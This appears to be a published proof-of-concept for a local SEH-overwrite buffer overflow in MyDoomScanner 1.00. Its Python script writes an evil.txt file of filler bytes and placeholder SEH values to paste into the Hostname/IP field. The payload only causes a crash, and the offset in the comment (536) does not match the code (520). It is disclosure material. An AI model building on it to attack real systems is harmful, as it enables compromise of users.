MyDoomScanner 1.00 - Local Buffer Overflow (PoC)

#!/usr/bin/python
# Exploit Title     : MyDoomScanner1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : [email protected]
# Discovery Date    : 17/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/mydoomscanner.aspx
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows XP 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#0012FAF8   43434343
#42424242   *** CORRUPT ENTRY ***
 
# Offset to the SEH Frame is 536
buffer = "A"*520
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()